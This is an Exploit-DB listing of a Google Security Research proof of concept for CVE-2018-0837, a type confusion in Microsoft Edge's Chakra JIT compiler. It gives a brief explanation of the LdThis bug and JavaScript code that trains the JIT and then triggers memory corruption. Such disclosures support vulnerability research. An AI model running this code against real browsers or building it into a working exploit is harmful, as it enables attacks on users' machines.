Microsoft Edge Chakra JIT - 'LdThis' Type Confusion

EDB-ID: 44081
Author: Google Security Research
Published: 2018-02-15
CVE: CVE-2018-0837
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Type Confusion
Vulnerable App: N/A

 LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly. 

PoC:
*/

function opt(arr) {
arr[0] = 1.1;
this[0] = {};
arr[0] = 2.3023e-320;
}

function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
opt.call({}, arr);
}

opt.call(arr, arr);
print(arr);
}

main();

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